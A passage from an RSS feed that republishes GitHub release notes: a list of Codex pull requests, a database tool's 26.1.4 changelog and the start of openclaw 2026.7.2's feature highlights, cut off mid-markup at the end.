<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976587182" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35365" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35365/hovercard" href="https://github.com/openai/codex/pull/35365">#35365</a> Keep unified mention results fresh <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977352640" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35375" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35375/hovercard" href="https://github.com/openai/codex/pull/35375">#35375</a> Make the keymap action menu responsive <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978273259" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35408" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35408/hovercard" href="https://github.com/openai/codex/pull/35408">#35408</a> Ignore generated system skills in the skills watcher <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978525852" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35414" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35414/hovercard" href="https://github.com/openai/codex/pull/35414">#35414</a> Raise the MCP server recursion limit <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4982760931" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35523" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35523/hovercard" href="https://github.com/openai/codex/pull/35523">#35523</a> Shut down the in-process outbound router explicitly <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4982774545" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35524" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35524/hovercard" href="https://github.com/openai/codex/pull/35524">#35524</a> Preserve terminal turn errors in replayed history <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4982788471" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35525" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35525/hovercard" href="https://github.com/openai/codex/pull/35525">#35525</a> Skip inactive TUI threads without pending user interaction <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983045063" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35530" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35530/hovercard" href="https://github.com/openai/codex/pull/35530">#35530</a> Track model and personality in world state <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983701873" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35537" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35537/hovercard" href="https://github.com/openai/codex/pull/35537">#35537</a> Add managed policy for in-app updates <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: 26.1.4]]></title>
<description><![CDATA[- AI assistant:
                - AI Chat is now accessible via keyboard (added some shortcuts)
                - Added the ability to always open AI-generated scripts in a new SQL console
                - Fixed models that do not support temperature dynamically
                - No model is sel...]]></description>
<link>https://tsecurity.de/de/3698661/downloads/github-2614/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698661/downloads/github-2614/</guid>
<pubDate>Mon, 03 Aug 2026 00:12:36 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><pre class="notranslate"><code>            - AI assistant:
                - AI Chat is now accessible via keyboard (added some shortcuts)
                - Added the ability to always open AI-generated scripts in a new SQL console
                - Fixed models that do not support temperature dynamically
                - No model is selected by default when creating an engine configuration for Open AI. Users need to select a model manually
            - SQL Editor:
                - Fixed an issue when all result tabs showed the same query after executing a script with multiple queries
                - Fixed tab color update when changing the connection in SQL Console (thanks to @anantgupta001)
            - Data Editor:
                - Fixed paste with Ctrl+V in Find/Replace panel
                - Fixed Find/Replace in the Value panel
                - Fixed an issue where maximization did not work correctly when Find/Replace was open
            - Metadata Editor: Column key icons are displayed again
            - Data Transfer: Redesigned table mapping in database to database migration
            - Task Management: Fixed the ability to sort tasks moved to the new folder
            - Connectivity:
                - Added support for retrieving passwords from a shell command for native database authentication (thanks to @kgns)
            - Security: Fixed the high vulnerability (CVE-2026-10050) in the jetty-security library. The library was updated to version 12.1.11
            - Miscellaneous:
                - Added the "link-project" command to import a project using command line
                - Fixed log viewer colors in the dark theme (thanks to @anantgupta001)
                - Fixed connection type colors broken after the update to the new Eclipse version
            - Databases:
                - Altibase: Added support for the JSON data type in Altibase 8.1 (thanks to @zennken)
                - BigQuery: The official BigQuery driver is now used by default, and the previous Simba driver was renamed to BigQuery (Legacy)
                - ClickHouse:
                    - ClickHouse driver was updated to version 0.10.0
                    - Improved JSON display in the Value panel (thanks to @bakhtiiartashbolotov)
                - CUBRID: Fixed connection fails caused by metadata loading (thanks to @longhaseng52)
                - Firebird: Added the ability to connect to Firebird Embedded (thanks to @fdcastel)
                - PostgreSQL:
                    - PostgreSQL driver was updated to version 42.7.13 (Fixed CVE-2026-54291)
                    - Fixed the ability to backup selected tables
                    - Fixed generated calls for procedures with OUT parameters (thanks to @HellAmbro)
                    - Fixed an error that occurred when applying filters to database nodes (thanks to @anantgupta001)
                - Redshift: Schemas are now visible only to users with the USAGE privilege or higher
                - SAP HANA: Improved the message in the license renewal dialog (thanks to @kai-morich)
                - Starrocks driver was updated to version 1.1.2 (thanks to @chris-celerdata)
                - Snowflake: Fixed connection using the sample URL
</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: openclaw 2026.7.2-beta.6]]></title>
<description><![CDATA[2026.7.2
Highlights

State safety and recovery: protect persisted data with a quarantine store that survives primary-database damage, crash-recoverable SQLite snapshots, crash-durable filesystem publication, schema-upgrade data-loss rejection, and rollback-writer snapshot recovery. (#110453, #113...]]></description>
<link>https://tsecurity.de/de/3698658/downloads/github-openclaw-202672-beta6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698658/downloads/github-openclaw-202672-beta6/</guid>
<pubDate>Mon, 03 Aug 2026 00:12:33 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>2026.7.2</h2>
<h3>Highlights</h3>
<ul>
<li><strong>State safety and recovery:</strong> protect persisted data with a quarantine store that survives primary-database damage, crash-recoverable SQLite snapshots, crash-durable filesystem publication, schema-upgrade data-loss rejection, and rollback-writer snapshot recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916970202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110453/hovercard" href="https://github.com/openclaw/openclaw/pull/110453">#110453</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970165944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113367/hovercard" href="https://github.com/openclaw/openclaw/pull/113367">#113367</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973270874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113453/hovercard" href="https://github.com/openclaw/openclaw/pull/113453">#113453</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973809093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113473/hovercard" href="https://github.com/openclaw/openclaw/pull/113473">#113473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975000490" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113580/hovercard" href="https://github.com/openclaw/openclaw/pull/113580">#113580</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Durable channel delivery:</strong> keep accepted messages recoverable across gateway restarts and local crashes through the shared ingress drain and dead-letter recovery, covering Telegram, Signal, Slack, QQBot, Twitch, Synology Chat, Tlon, IRC, and Zalo User. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899229546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108656/hovercard" href="https://github.com/openclaw/openclaw/issues/108656">#108656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880774610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107246" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107246/hovercard" href="https://github.com/openclaw/openclaw/issues/107246">#107246</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910355569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109911" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109911/hovercard" href="https://github.com/openclaw/openclaw/issues/109911">#109911</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901306898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108924/hovercard" href="https://github.com/openclaw/openclaw/pull/108924">#108924</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4881188067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107288/hovercard" href="https://github.com/openclaw/openclaw/pull/107288">#107288</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910335366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109907" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109907/hovercard" href="https://github.com/openclaw/openclaw/pull/109907">#109907</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910354685" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109910" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109910/hovercard" href="https://github.com/openclaw/openclaw/pull/109910">#109910</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919246226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110844" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110844/hovercard" href="https://github.com/openclaw/openclaw/pull/110844">#110844</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919302665" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110852" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110852/hovercard" href="https://github.com/openclaw/openclaw/pull/110852">#110852</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919620029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110899" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110899/hovercard" href="https://github.com/openclaw/openclaw/pull/110899">#110899</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919681447" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110910" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110910/hovercard" href="https://github.com/openclaw/openclaw/pull/110910">#110910</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919690400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110914" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110914/hovercard" href="https://github.com/openclaw/openclaw/pull/110914">#110914</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919697683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110916" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110916/hovercard" href="https://github.com/openclaw/openclaw/pull/110916">#110916</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920462183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111029" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111029/hovercard" href="https://github.com/openclaw/openclaw/pull/111029">#111029</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>.</li>
<li><strong>Session rewind and branching:</strong> rewind or fork conversations from individual messages, switch transcript branches across web and native apps, fork upstream Codex sessions, preserve branch-safe queued sends, reject stale-pane writes, and restore prompt images after a fork. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918055909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110660" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110660/hovercard" href="https://github.com/openclaw/openclaw/pull/110660">#110660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919325526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110857/hovercard" href="https://github.com/openclaw/openclaw/pull/110857">#110857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919558310" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110886/hovercard" href="https://github.com/openclaw/openclaw/pull/110886">#110886</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921025593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111149" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111149/hovercard" href="https://github.com/openclaw/openclaw/pull/111149">#111149</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935233729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112056/hovercard" href="https://github.com/openclaw/openclaw/pull/112056">#112056</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938685419" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112284" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112284/hovercard" href="https://github.com/openclaw/openclaw/pull/112284">#112284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960610101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113073/hovercard" href="https://github.com/openclaw/openclaw/pull/113073">#113073</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978452898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113945" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113945/hovercard" href="https://github.com/openclaw/openclaw/pull/113945">#113945</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Interactive MCP Apps and dashboards:</strong> host ticketed MCP Apps with bound tools, resources, and bounded context updates; open them from channel replies, pin them to durable dashboards, harden their shared sandbox, and let native plugins declare them directly. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909810617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109851/hovercard" href="https://github.com/openclaw/openclaw/issues/109851">#109851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916960266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/110451/hovercard" href="https://github.com/openclaw/openclaw/issues/110451">#110451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965166757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113218" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113218/hovercard" href="https://github.com/openclaw/openclaw/issues/113218">#113218</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909872466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109861/hovercard" href="https://github.com/openclaw/openclaw/pull/109861">#109861</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909498874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109807/hovercard" href="https://github.com/openclaw/openclaw/pull/109807">#109807</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917242362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110515/hovercard" href="https://github.com/openclaw/openclaw/pull/110515">#110515</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921332968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111211/hovercard" href="https://github.com/openclaw/openclaw/pull/111211">#111211</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921335023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111212/hovercard" href="https://github.com/openclaw/openclaw/pull/111212">#111212</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924200042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111524" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111524/hovercard" href="https://github.com/openclaw/openclaw/pull/111524">#111524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4926188669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111687" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111687/hovercard" href="https://github.com/openclaw/openclaw/pull/111687">#111687</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4927143845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111748/hovercard" href="https://github.com/openclaw/openclaw/pull/111748">#111748</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965395536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113224" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113224/hovercard" href="https://github.com/openclaw/openclaw/pull/113224">#113224</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li><strong>Questions and approvals everywhere:</strong> let agents ask structured questions with option cards across web, channels, macOS, and native apps, while approvals gain push notifications, history, fair queuing, headless resolution, Claude tool-request relay, reviewer detail, and clearer formatted prompts. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510697389" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85954/hovercard" href="https://github.com/openclaw/openclaw/issues/85954">#85954</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897193096" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108505/hovercard" href="https://github.com/openclaw/openclaw/pull/108505">#108505</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899607708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108709/hovercard" href="https://github.com/openclaw/openclaw/pull/108709">#108709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900199914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108776/hovercard" href="https://github.com/openclaw/openclaw/pull/108776">#108776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910436717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109922/hovercard" href="https://github.com/openclaw/openclaw/pull/109922">#109922</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915609891" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110242/hovercard" href="https://github.com/openclaw/openclaw/pull/110242">#110242</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916500878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110372/hovercard" href="https://github.com/openclaw/openclaw/pull/110372">#110372</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917636131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110584" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110584/hovercard" href="https://github.com/openclaw/openclaw/pull/110584">#110584</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918174798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110681/hovercard" href="https://github.com/openclaw/openclaw/pull/110681">#110681</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920250848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110989/hovercard" href="https://github.com/openclaw/openclaw/pull/110989">#110989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920592366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111060/hovercard" href="https://github.com/openclaw/openclaw/pull/111060">#111060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4955719625" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112918" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112918/hovercard" href="https://github.com/openclaw/openclaw/pull/112918">#112918</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959029779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113027" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113027/hovercard" href="https://github.com/openclaw/openclaw/pull/113027">#113027</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964338276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113193" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113193/hovercard" href="https://github.com/openclaw/openclaw/pull/113193">#113193</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li><strong>Meetings and realtime Talk:</strong> join Teams, Zoom, and Google Meet calls with default-enabled meeting plugins and durable transcript collection, while realtime Talk adds OpenAI and Gemini video and requires a supported OpenAI Platform API key instead of the rejected Codex OAuth fallback. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515895461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86425" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86425/hovercard" href="https://github.com/openclaw/openclaw/issues/86425">#86425</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969755799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113353/hovercard" href="https://github.com/openclaw/openclaw/issues/113353">#113353</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4995815276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115021" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115021/hovercard" href="https://github.com/openclaw/openclaw/issues/115021">#115021</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907701218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109579" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109579/hovercard" href="https://github.com/openclaw/openclaw/pull/109579">#109579</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908693132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109719" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109719/hovercard" href="https://github.com/openclaw/openclaw/pull/109719">#109719</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4911117058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109964/hovercard" href="https://github.com/openclaw/openclaw/pull/109964">#109964</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920537806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111048/hovercard" href="https://github.com/openclaw/openclaw/pull/111048">#111048</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958859941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113022/hovercard" href="https://github.com/openclaw/openclaw/pull/113022">#113022</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959689587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113053" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113053/hovercard" href="https://github.com/openclaw/openclaw/pull/113053">#113053</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961606646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113122" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113122/hovercard" href="https://github.com/openclaw/openclaw/pull/113122">#113122</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969758982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113354/hovercard" href="https://github.com/openclaw/openclaw/pull/113354">#113354</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4999135139" data-permission-text="Title is private" 